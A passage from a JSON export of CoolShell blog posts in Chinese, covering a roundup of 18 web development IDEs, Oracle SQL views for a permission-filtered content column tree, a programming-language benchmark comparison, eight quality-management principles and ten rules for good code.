[![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [漫画：程序员的一生](https://coolshell.cn/articles/1103.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-4 18个Web开发的IDE.md",
    "content": "---\nlayout: post\ntitle: 18个Web开发的IDE\ndate: 2009/6/4/ 15:24:17\nupdated: 2009/6/4/ 15:24:17\nstatus: publish\npublished: true\ntype: post\n---\n\n\n### Windows 下的IDE\n\n\n#### [Visual Web Developer](http://www.microsoft.com/express/vwd/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/visual_web_developer.jpg\n* 免费\n\n\nVisual Web Developer 是一个简单来说是Visual Studio的一个剥离版本，只有web 开发。和VS一样它有一个很不错的project 管理和数据库工具。这个IDE面对的是初学者。\n\n\n\n#### [phpDesigner](http://www.mpsoftware.dk/phpdesigner.php)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/phpdesigner.png\n* 75€ (~$105)\n\n\n[www.phpeditors.com](http://www.phpeditors.com/) 开发的 phpDesigner 是一个五星级的产品。他是一个超级快速的拥有强大功能的PHP的IDE。phpDesigner 提供一PHP调试器和性能分析器。它还支持所有WEB标准的语言。并提供了 TortoiseSVN 支持，并且支持PHP，HTML和CSS的实时的错误检测。还有一个代码片段程序库可以让你容易地获得简单的程序。\n\n\n#### [PHPEdit](http://www.phpedit.com/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/phpedit.png\n* 179€ (~$248)\n\n\nPHPEdit 是另一个漂亮的PHP IDE。它提供了调试器 (甚至有一个 Firefox 调试插件) 和数据库支持 (容易查询和创建数据表) ，还有一个非常不错的keyboard templates 可以让你很快地创建PHP的代码结构。使用PHPEdit可以非常容易地连接到服务器上。而且还有自动提示，自动完成的功能。\n\n\n#### [Visual Studio 2008](http://www.microsoft.com/visualstudio/en-us/products/standard/default.mspx)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/visual_studio.png\n* $299 (标准版)\n\n\nVisual Studio is 简单的说来是为了.NET 项目而设计的。对于这个IDE，相信大家都很熟悉，我就不多说了。（有谣言说VS 2010要支持PHP，呵呵）\n\n\n#### [Expression Web](http://www.microsoft.com/expression/products/overview.aspx?key=web)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/expression_web.png\n* $299\n\n\nExpression Web 也是一个非常不错的整洁的WEB开发工具。其提供了一大堆CSS 支持。用其开发WEB程序相当方便，只要你愿意，其不但支持ASP.NET，也支持PHP 。而且，其有实时的 (X)HTML 检验。\n\n\n最近，Microsoft 放出了[Expression Web SuperPreview](http://www.microsoft.com/Expression/features/default.aspx?key=webpreview)，这是一个可以预览你所开发的网页是否支持IE6, IE7 或是IE8 。\n\n\n#### [PhpEd](http://www.nusphere.com/products/phped.htm)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/phped.jpg\n* $299\n\n\nPhpEd 内建了PHP, HTML, 和CSS 校验器。并提供了代码自动完成的功能。当然，也有PHP代码调试和性能profiling功能。PhpEd 有一个最有创造性的功能是动态的语法高亮。我们想像一下，如果我们有一个文件中有多种语言，这个功能会把你光标所在位置的语言高亮，而其它地方则是一般的文本。\n\n\n### Linux 下的 IDE\n\n\n#### [BlueFish](http://bluefish.openoffice.nl/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/bluefish.png\n* 免费\n\n\nBluefish 面对的是一个轻量级的干净的IDE。它提供了项目支持，支持远程管理服务器上的文件。有代码自动完成，并且支持 PHP, CSS, Python, 和HTML.\n\n\n### Windows 和Mac 的IDE\n\n\n#### [Dreamweaver CS4](http://www.adobe.com/products/dreamweaver/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/dreamweaver.png\n* $399\n\n\n这个IDE就不多说了，超级强大和超级有名的IDE!\n\n\n### Windows, Mac, 和Linux IDEs\n\n\n#### [Eclipse](http://www.eclipse.org/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/eclipse.png\n* 免费\n\n\nEclipse 是一个史上最强大的IDE，它几乎可以做所有的事情，并有一堆插件支持。总之一句话，相当强大，无论是Java，PHP，无论是调试还是语法高亮以及其它功能，总之，相当不错。\n\n\n#### [Aptana Studio](http://aptana.com/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/aptana.png\n* 免费\n\n\nAptana Studio 可以独立运行，也可以成为Eclipse 的一个插件。它主张的是——“The Leading IDE for Web App Development.” ，使用其插件，你可以让这个IDE支持PHP, Ruby on Rails, Java, 等等。并也支持很多LIB，如：jQuery, Prototype, YUI, 等等。还有一个SQL 数据库工具，JavaScript 调试。总之，功能太强大了。强大到有些受不了。\n\n\n#### [Netbeans](http://www.netbeans.org/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/netbeans.png\n* 免费\n\n\n这是一个开源的IDE，支持：PHP, Ruby on Rails, JavaScript, 等等。支持FTP 和MySQL。对于PHP，它提供了一个不错的调试器，以及错误警告。Netbeans 也是一个很不错的代码导航器，并整合了，很多framework及其文档，如jQuery 或Mootools.\n\n\n#### [Nvu](http://net2.com/nvu/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/nvu.png\n* 免费\n\n\nNvu 提供一个强大的“所见及所得”功能，其和Dreamweaver 和Expression Web相似，都是强调于编辑功能。\n\n\n#### [Spket IDE](http://spket.com/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/spket.png\n* $29.90 (免费的非商业使用)\n\n\nSpket 主要面对的是RIA 开发。其主要支持Javascript 和Flex,。\n\n\n#### [IntlliJ IDEA](http://www.jetbrains.com/idea/features/index.html)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/intellij_idea.png\n* $249 (个人版)\n\n\n虽然IntelliJ IDEA 量个原生态的 Java 开发IDE，不过其支持一大堆的WEB技术，如HTML ，JavaScript，Flex，和SQL。提供了JavaScript 高度和重构，同样也有代码自动完成。IntelliJ IDEA 还有一个代码检查功能可以提供一些浏览器兼容性检查。\n\n\n#### [Komodo IDE](http://www.activestate.com/komodo/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/komodo_ide.png\n* $295\n\n\nKomodo IDE 面对的是”dynamic languages and open technologies.” 其支持的是标准的WEB语言—HTML, CSS, JavaScript, PHP, 等等。同样也支持Ruby, python, Tcl, 等。这是一个坚固的编辑器。\n\n\n#### [Zend Studio](http://www.zend.com/en/products/studio/)\n\n\nhttp://nettuts.s3.amazonaws.com/341_ides/zend_studio.png\n* $399\n\n\nZend Studio 是Eclipse 的插件，当然，它也可以独立成为一个IDE。它主要面对的是PHP开发者。并有一个Zend Framework提供了一堆功能。是个非常成熟的PHP开发的IDE，相当的强大。\n\n\n文章：[来源](http://net.tutsplus.com/articles/web-roundups/18-ides-for-windows-mac-linux/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\nThe post [18个Web开发的IDE](https://coolshell.cn/articles/968.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-4 【原创】SQL栏目树的代码.md",
    "content": "---\nlayout: post\ntitle: 【原创】SQL栏目树的代码\ndate: 2009/6/4/ 16:3:13\nupdated: 2009/6/4/ 16:3:13\nstatus: publish\npublished: true\ntype: post\n---\n\n本文由网友whl供稿，特此感谢！  \n\n/\\*\\*  \n\n  \\* Desc: 取栏目树 ,过滤用户权限和无效栏目  \n\n  \\* Author: WHL  \n\n  \\* Date: 2009-05-31 15:17  \n\n  \\*/  \n\n  \n\n   \n\n/\\*\\* 1. 取某用户有权限（np\\_cms\\_column\\_security表有记录且t.action\\_1 = ‘1’）的栏目的树 \\*\\*/\n\n\n\n```\ncreate or replace view V_NP_CTREE_BS as\nselect B.* from (\nselect A.*, lag(A.column_id) over(partition by A.column_id order by 0 ) RK\n  from (select /*+choose */\n         t.*\n          from np_cms_column t\n         where t.is_active = '1'\n        connect by prior t.column_id = t.parent_id\n         start with t.column_id in (select t.column_id\n                                      from np_cms_column_security t\n                                     where t.subject_id = 'mazj'\n                                          /*这里添加角色过滤*/\n                                       and t.action_1 = '1'))A) B\n where not exists\n (select 0\n          from (select distinct d.column_id\n                  from np_cms_column d\n                connect by prior d.column_id = d.parent_id\n                 start with d.column_id in\n                    (select t.column_id\n                       from np_cms_column_security t\n                      where t.subject_id = 'mazj'\n                           /* 这里添加角色过滤*/\n                        and t.action_1 = '0'\n                           /* 排除有权限树下的非授权ID,既 Action_1=0的*/\n                        and exists\n                      (select 0\n                               from (select distinct d.column_id\n                                       from np_cms_column d\n                                     connect by prior d.column_id =\n                                                 d.parent_id\n                                      start with d.column_id in\n                                                 (select t.column_id\n                                                    from np_cms_column_security t\n                                                   where t.subject_id =\n                                                         'mazj'\n                                                        /*这里添加角色过滤*/\n                                                     and t.action_1 = '1')) C1\n                              where C1.column_id = t.column_id))\n                        and d.is_active = '1') C\n         where C.column_id = B.column_id and B.RK is null) and B.RK is null\nunion all\nselect c.*, 0 RK from np_cms_column c where c.parent_id = 0;\n\n```\n\n————————————————————————  \n\n/\\*\\* 2.得到栏目的虚拟父亲ID（考虑到把断层的节点接起来）\\*\\*/\n\n\n\n```\ncreate or replace view V_NP_CTREE_PA as\nselect B.*,\n       (case B.column_id\n         when 1 then 0 else nvl(B.father, 1) end) VFA\n  from (select v.*,\n               (select vv.column_id\n                  from V_NP_CTREE_BS vv\n                 where vv.column_id = v.parent_id) FATHER\n          from V_NP_CTREE_BS v) B;\n\n```\n\n————————————————————————  \n\n/\\*\\* 3. 取出门户需要的栏目树 \\*\\*/\n\n\n\n```\n--create or replace view V_NP_CTREE_RS as\nselect\n D.*, LPAD(' ', 2 * level - 1) || SYS_CONNECT_BY_PATH(D.COLUMN_NAME, '/') &quot;Path&quot;\n  from (select c.*\n          from V_NP_CTREE_PA c\n         order by c.VFA, c.disorder desc, c.column_id desc) D\nconnect by prior D.column_id = D.VFA\n start with D.column_id = 1;\n \n\n```\n\n————————————————————————  \n\n（**本文版权由whl所，转载时请注明作者和出处**）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [![NoSQL 数据建模技术](../wp-content/uploads/2012/05/overview2-1-150x150.png)](https://coolshell.cn/articles/7270.html)[NoSQL 数据建模技术](https://coolshell.cn/articles/7270.html)\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [![图解SQL的Join](../wp-content/uploads/2011/01/Inner_Join-150x150.png)](https://coolshell.cn/articles/3463.html)[图解SQL的Join](https://coolshell.cn/articles/3463.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3433.html)[6个有用的MySQL语句](https://coolshell.cn/articles/3433.html)\nThe post [【原创】SQL栏目树的代码](https://coolshell.cn/articles/962.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-6 编程语言的评测.md",
    "content": "---\nlayout: post\ntitle: 编程语言的评测\ndate: 2009/6/6/ 14:50:49\nupdated: 2009/6/6/ 14:50:49\nstatus: publish\npublished: true\ntype: post\n---\n\n**摘要**：这篇文章的原文出处在[这里](http://gmarceau.qc.ca/blog/2009/05/speed-size-and-dependability-of.html) 我意译了整篇文章。结合[计算机语言评测基准](http://shootout.alioth.debian.org/)这个网站来读此文还是比较有意思。当然也不能以这个评测结果就贸然断定什么语言最好，什么语言不好。没有好不好的语言，只有适不适用于你解决问题域的语言。就文章而言请大家还是不必太过认真，就当从另一个方面来了解一下这33种编程语言吧。\n\n\n[计算机语言评测基准](http://shootout.alioth.debian.org/)是一个由429个程序组成的集合，它评测了33个程序语言的13的重复实现的基准程序。如果你想量化的比较不同语言，那么这个是一个非常不错的资源。\n\n\n在计算机评测基准中，评测者为了尽量让评测准确，非常谨慎的选择了13个基准程序，这13个基准程序并不针对某以特定语言有特殊的优化。对于评测选择33中语言都实现了13个基准程序。当然，除了速度这个指标外，程序基准评测同时也为每一个基准测试程序发布一个编码大小指标。非常感谢基准评测让我们看到程序设计中非常重要的一个方面：程序语言的性能和程序语言灵活性之间的矛盾。正是这个矛盾给所谓“高级编程语言”带上一个含蓄的轻蔑的意思。即，当你在使用这些高级语言编码时，你也许可以编写出漂亮的代码，但是你是如此的远离了硬件，你不可能获得更好的性能，是这样的吗？\n\n\n\n[![size-vs-speed-vs-depandability-context-3](../wp-content/uploads/2009/06/size-vs-speed-vs-depandability-context-3.png \"size-vs-speed-vs-depandability-context-3\")](https://coolshell.cn/?attachment_id=976)  \n\n如果我们将基准测试程序的结果放在一张XY的图表上，那么我们就可以为这张表的4个角命名。快速而复杂的语言应积聚在图表的左上角。我们把这类语言称为系统语言。简洁但慢速的语言应该聚集在右下角，我们称之为脚本语言。在右上角，应该是过时的语言。除非这些语言具有非常吸引人的特性，否则语言已经被新出现的语言所淘汰。最后在左下角，基本上找不到对应的语言，因为在这一区域的语言是理想状态的语言。在这个区域的语言是又快又短又利于使用的语言。\n\n\n图中每一个小点就代表一种语言的一个基准程序实现，因此这图里面共有429个点，每个点的XY轴分别代表了其和最好的语言实现差距的倍数(从语言的复杂性和语言执行性能来说)，其中一些点比较分散，我们就没有在图中画出。从上面这个图我们可以看到这些粉红色点沿着Y轴(复杂性)比X轴(执行性能)分布更统一，这是不是意味着，人类在提升语言表达的灵活性上还在稳步的不断进步，而在提升语言性能方面却遇到了很多的麻烦呢：）\n\n\n针对每一个种语言，比如说scala语言，我们用下面的图来描述：图的中心点，是这个语言测试结果的平均值，然后做每一个评测结果的具体值到这个均值的连线就够成了一个星型图。这个图说明了scala一些特性，在X轴性能上来说，大部分点都分布在靠近左边，说明scala的性能是不错的，如果优化JVM的话，scala可以大部分提高性能，但是scala性能分布并不一致，其中的一个点甚至到了最右边。就语言复杂性(Y轴)来说，scala的表现也不错，不过有时候为了获得高性能，也会导致语言复杂提高，比如scala的其中一个点就在最顶端。\n\n\n[![size-vs-speed-vs-depandability-scala](../wp-content/uploads/2009/06/size-vs-speed-vs-depandability-scala.png \"size-vs-speed-vs-depandability-scala\")](https://coolshell.cn/?attachment_id=974)\n\n\n通过为每一种语言形成如上的一个图，我们最后可以为这33种语言评的测结果形成了如下的一个图，这是一个6\\*6的图。其中每一个小图具有同样的轴和同样的精度。这张图的目的是为了方便的比较每一个语言的星型。这些图按语言的平均性能来组织列，最左边的语言的性能最好，最右边的语言性能最差，在每一列中的语言又按照平均的语言代码量(复杂程度)进行排列，代码量最小的语言在最低端，代码量最大的在最顶端。\n\n\n[![size-vs-speed-vs-depandability-2009](../wp-content/uploads/2009/06/size-vs-speed-vs-depandability-2009-275x300.png \"size-vs-speed-vs-depandability-2009\")](https://coolshell.cn/wp-content/uploads/2009/06/size-vs-speed-vs-depandability-2009.png \"点击看大图\")点击看大图\n在图的最左边的性能是最好的，又高又瘦的星型，我们可以看到，除了GCC和G++外，其他的性能都显示了惊人的一致性(每一个基准测试程序的性能都非常接近)。而JAVA也非常骄傲的出现在一组中，这说明经过了10年的优化后，Java运行时的性能已经得到长足的提高(要用Java做大系统的人是否还会犹豫呢：）)。  \n\n在图的右边，我们看到了一些又胖又矮的星型，这些是一些脚本语言，从图中可以看出，这些脚本语言社区的人们当他们在不断改善他们语言的表达性的同时并没有花大力气在性能的改善上。然而也有例外，Lua这门脚本语言就有很好的执行性能。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/4626.html)[读书笔记：对线程模型的批评](https://coolshell.cn/articles/4626.html)\n* [![编程语言流行度](../wp-content/uploads/2010/12/rank_scatter1-150x150.png)](https://coolshell.cn/articles/3385.html)[编程语言流行度](https://coolshell.cn/articles/3385.html)\n* [![编程语言进化](../wp-content/uploads/2010/10/language-evolution-150x150.jpg)](https://coolshell.cn/articles/3100.html)[编程语言进化](https://coolshell.cn/articles/3100.html)\n* [![计算机编程简史图](../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg)](https://coolshell.cn/articles/2724.html)[计算机编程简史图](https://coolshell.cn/articles/2724.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/2598.html)[五个编程语言设计的失误](https://coolshell.cn/articles/2598.html)\nThe post [编程语言的评测](https://coolshell.cn/articles/973.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-6 质量管理经中的八个法则.md",
    "content": "---\nlayout: post\ntitle: 质量管理经中的八个法则\ndate: 2009/6/6/ 13:41:59\nupdated: 2009/6/6/ 13:41:59\nstatus: publish\npublished: true\ntype: post\n---\n\n质量管理在软件工程中是非常非常重要的一个环节，无论你有多么精妙的算法，或是使用了多么先进的技术，还是拥有了多少强的设计，在质量控制或质量管理面前，这些都可能什么都不是。这里，有一些质量管理的法则，可以让软件的用户从中受益。如果对质量管理一言以蔽之：面对一个长期不断需要改善的软件，当其用户或是管理者们来说，他们对某个组织所提供的标准有一种完全和最基本的信任。\n\n\n下面，我们给出8个质量管理的法则：\n\n\n**1. 始终从用户角度出发:** “无论何时何地，我们都需要明白用户当前的或未来的需求，并能够达到用户的需求，甚至超出用户的期望。”\n\n\n这是整个软件工程的重中之重。质量管理从某种意义上来说，就是实现用户需求的质量的管理。这需要我们的质量管理管理和用户的关系，以及把用户的需求和整个团队（开发组，测试组，产品组，项目组等等）进行有些的沟通管理。\n\n\n\n**2. 领导能力:** “领导者需要建立一个团结统一的有明确方向的团队。这个团队可以创造并维护一种良好的内部气氛，这种氛围可以使得所有的人都能参与进来，从而达到整个团队的目标。”\n\n\n对此，我们需要有一个有前瞻性的领导能为整个团队创建一种相互信任的环境。提倡诚实，并积极引导团队成员。从而可以激励每个人，并创建一种策略（比如奖罚机制）来达到这这些目标。\n\n\n**3. 团队成员主动参与性:** “团队成员总是有不同分工和不同职责的，只有所有的团队成员都参与进来，那么整个项目或是整个软件的各个部分，各个方面才会得到完美的发挥。”\n\n\n对此，让团队成员有主人翁精神，让他们觉得自己是工作或任务的所有者，是是否能让所有成员主动参与的关键。这里，我们还需要让每个被参与者都要从关注于用户的角度出发，并且帮助和支持团队成员，以及为他们营造一个比较满意的工作环境。\n\n\n**4. 流程方法:** “我们需要一个非常有效率的流程或方法来把所有的资源和日常工作活动整合在一起，形成一种生产线式的生产模式”\n\n\n对此，定义一个合适的流程（注意这里是合适的流程，好的流程并不一定就是合适的）。这个流程需要有确定整个日常生产活动的输入，输出以及其功能。风险管理，分配责任，以及管理外部和内部的用户。\n\n\n**5. 系统方法管理:** “确定，理解，并管理一个系统相关的流程，以使得整个团队能够有效并快速地自我改善。”\n\n\n对此，定义一个系统的组织架构，这个组织架构是高效和有效的。这里我们需要了解到团队的需求（硬件的，软件的，人员的，等等），并了解一些可能会发生的限制。这样我们才能有效地管理整个团队系统。\n\n\n**6. 连续的改进:** “不断地改进是一个团队需要给自己设制的永久目标”\n\n\n对此，工作效率上的改进是整个改进的重中之重。工作效率方面，有大程度上取决于工作流程的改进，所以，流程改进是非常重要的，也是需要长期不断去努力改进的。要达到这一目标，一般来说，我们可以使用“计划——执行——检查——总结”这样的循环。\n\n\n**7. 决策中的事实说话:** “只有基于对实际数据和信息的分析后，我们才能制定出有效的决策和行动”\n\n\n对此，我们需要注意日常数据和信息的收集，并且我们需要对采集到的数据和信息的精确性进行测量。这样才能让我们在进行决策和行动能基于正确的数据。\n\n\n**8. 互惠互利:** “一个团队中的各个部门或各个子团队虽然是在功能上是独立的，但是，一个互惠互利的局面可以增强整个团队或公司的整体能力并创建更大的价值。”\n\n\n对此，我们需要一个健康的团队之间的关系。好的沟通只能让团队获益一时，而只有建立一个长期互惠互利关系或局面，才是长期。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![怎样做一个 Program Manager](../wp-content/uploads/2009/03/09meeting-thumbnail-150x150.jpg)](https://coolshell.cn/articles/76.html)[怎样做一个 Program Manager](https://coolshell.cn/articles/76.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/652.html)[MySQL: InnoDB 还是 MyISAM?](https://coolshell.cn/articles/652.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2474.html)[（麻省理工免费课程）C语言内存管理和C++面向对象编程](https://coolshell.cn/articles/2474.html)\n* [![程序员的谎谬之言还是至理名言？](../wp-content/uploads/2011/04/wisdom-225x300-150x150.jpg)](https://coolshell.cn/articles/4235.html)[程序员的谎谬之言还是至理名言？](https://coolshell.cn/articles/4235.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg](https://coolshell.cn/articles/6312.html)[一个女程序员的故事](https://coolshell.cn/articles/6312.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/1278.html)[Linus Torvalds 语录 Top 10](https://coolshell.cn/articles/1278.html)\nThe post [质量管理经中的八个法则](https://coolshell.cn/articles/971.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-7 优质代码的十诫.md",
    "content": "---\nlayout: post\ntitle: 优质代码的十诫\ndate: 2009/6/7/ 11:20:56\nupdated: 2009/6/7/ 11:20:56\nstatus: publish\npublished: true\ntype: post\n---\n\n\n1.- DRY: Don’t repeat yourself.\n-------------------------------\n\n\n[![10commandements](../wp-content/uploads/2009/06/10commandements-223x300.jpg \"10commandements\")](https://coolshell.cn/wp-content/uploads/2009/06/10commandements.jpg)DRY 是一个最简单的法则，也是最容易被理解的。但它也可能是最难被应用的（因为要做到这样，我们需要在泛型设计上做相当的努力，这并不是一件容易的事）。它意味着，当我们在两个或多个地方的时候发现一些相似的代码的时候，我们需要把他们的共性抽象出来形一个唯一的新方法，并且改变现有的地方的代码让他们以一些合适的参数调用这个新的方法。\n\n\n[DRY](http://en.wikipedia.org/wiki/Don%27t_repeat_yourself) 这一法则可能是编程届中最通用的法则了，目前为止，应该没有哪个程序员对这一法则存有异议。但是，我们却能发现，一些程序在编写单元测试（unit testing）时忘记了这一法则：让我们相像一下，当你改变一个类的若干接口，如果你没有使用DRY，那么，那些通过调用一系例类的接口的unit test的程序，都需要被手动的更改。比如：如果你的unit test的诸多test cases中没有使用一个标准共有的构造类的方法，而是每个test case自己去构造类的实例，那么，当类的构造函数被改变时，你需要修改多少个test cases啊。这就是不使用DRY法则所带来的恶果。\n\n\n\n2.- 短小的方法.\n----------\n\n\n至少，我们有下面三个不错的理由要求程序员们写下短小的方法。\n\n\n1. 代码会变得更容易阅读。\n2. 代码会变得更容易重用（短方法可以减少代码间的耦合程度）\n3. 代码会变得更容易测试。\n\n\n3.- 良好的命名规范\n-----------\n\n\n使用不错的统一的命名规范可以让你的程序变得更容易阅读和维护，当一个类，一个函数，一个变量的名字达到了那种可以“望文生义”的境界话，我们就可以少一些文档，少一些沟通。文章《[编程中的命名设计那点事](https://coolshell.cn/articles/990.html) 》可以给你一些提示。\n\n\n4.- 赋予每个类正确的职责\n--------------\n\n\n一个类，一个职责，这类规则可以参考一下类的[**S**OLID](http://butunclebob.com/ArticleS.UncleBob.PrinciplesOfOod) 法则。但我们这里强调的不是一种单一的职责，而是一个正确的职责。如果你有一个类叫Customer，我们就不应该让这个类有sales 的方法，我们只能让这个类有和Customer有最直接关系的方法。\n\n\n5.- 把代码组织起来\n-----------\n\n\n把代码组织起来有两具层次。\n\n\n* **物理层组织**：无论你使用什么样的目录，包(package)或名字空间(namespace)等的结构，你需要把你的类用一种标准的方法组织起来，这样可以方便查找。这是一种物理性质的代码组织。\n* **逻辑层组织**： 所谓逻辑层，主要是说，我们如果把两个不同功能的类或方法通过某种规范联系和组织起来。这里主要关注的是程序模块间的接口。这就是我们经常见到的程序模块的架构。\n\n\n6.- 创建大量的单元测试\n-------------\n\n\n单元测试是最接近BUG的地方，也是修改BUG成本最低的地方，同样也是决定整个软件质量好坏的成败的地方。所以，只要有可能，你就应该写更多的，更好的单元测试案例，这样当你未来有相应代码改变的时候，你可以很简单知道你代码的改变是否影响了其它单元。\n\n\n7.- 经常重构你的代码\n------------\n\n\n软件开发是一种持续的发现的过程，从而让你的代码可以跟上最新的实际需求的变化。所以，我们要经常重构自己的代码来跟上这样的变化。当然，重构是有风险的，并不是所有的重构都是成功的，也不是我们随时都可以重构代码。下面是两个重构代码的先要条件，以避免让你引入更多的BUG，或是把本来就烂的代码变得更烂。\n\n\n1. 有大量的单元测试来测试。正如前面所说，重构需要用大量的单元测试来做保障和测试。\n2. 每次重构都不要大，用点点滴滴的小的重构来代替那种大型的重构。有太多的时候，当我们一开始计划重构2000行代码，而在3个小时后，我们就放弃这个计划并把代码恢复到原始的版本。所以，我们推荐的是，重构最好是从点点滴滴积累起来的。\n\n\n8.- 程序注释是邪恶的\n------------\n\n\n这一条一定是充满争议的，大多数程序员都认为程序注释是非常好的，是的，没错，程序注释在理论上是非常不错的。但是，在实际过程序当中，程序员们写出来的注释却是很糟糕的（程序员的表达能力很有问题），从而导致了程序注释成为了一切邪恶的化身，也导致了我们在阅读程序的时，大多数时候，我们都不读注释而直接读代码。所以，在这里，我们并不是鼓励不写注释，而是——如果你的注释写得不够好的话，那么，你还不如把更重要的时间花在重构一下你的代码，让你的代码更加易读，更加清楚，这比会比注释更好。\n\n\n9.- 注重接口，而不是实现\n--------------\n\n\n这是一个最经典的规则了。接口注重的是——“What”是抽象，实现注重的是——“How”是细节。接口相当于一种合同契约，而实际的细节相当于对这种合同契约的一种运作和实现。运作是可以很灵活的，而合同契约则需要是相对需要稳定和不变的。如果，一个接口没有设计好而需要经常性的变化的话，那我们可以试想一下，这代来的后果，这绝对会是一件成本很大的事情。所以，在软件开发和调设中，接口是重中之重，而不是实现。然而我们的程序员总是注重于实现细节，所以他们局部的代码写的非常不错，但软件整体却设计得相对较差。这点需要我们多多注意。\n\n\n10.- 代码审查机制\n-----------\n\n\n所有人都会出错，一个人出错的概率是很大的，两个人出错的概率就会小一些，人多一些，出错的概率就会越来越小。因为，人多了，就能够从不同的角度看待一个事情，虽然这样可能导致无效率的争论，但比起软件产品release后出现问题的维护成本，这点成本算是相当值得的。所以，这就是我们需要让不同的人来reivew代码，代码审查机制不但是一种发现问题的最有效的机制，同时也是一种可以知识共享的机制。当然，对于Code Review来说，下面有几个基本原则：\n\n\n* 审查者的能力一定要大于或等于代码作者的能力，不然，代码审查就成了一种对新手的training。\n* 而且，为了让审查者真正负责起来，而不是在敷衍审查工作，我们需要让审查者对审查过的代码负主要责任，而不是代码的作者。\n* 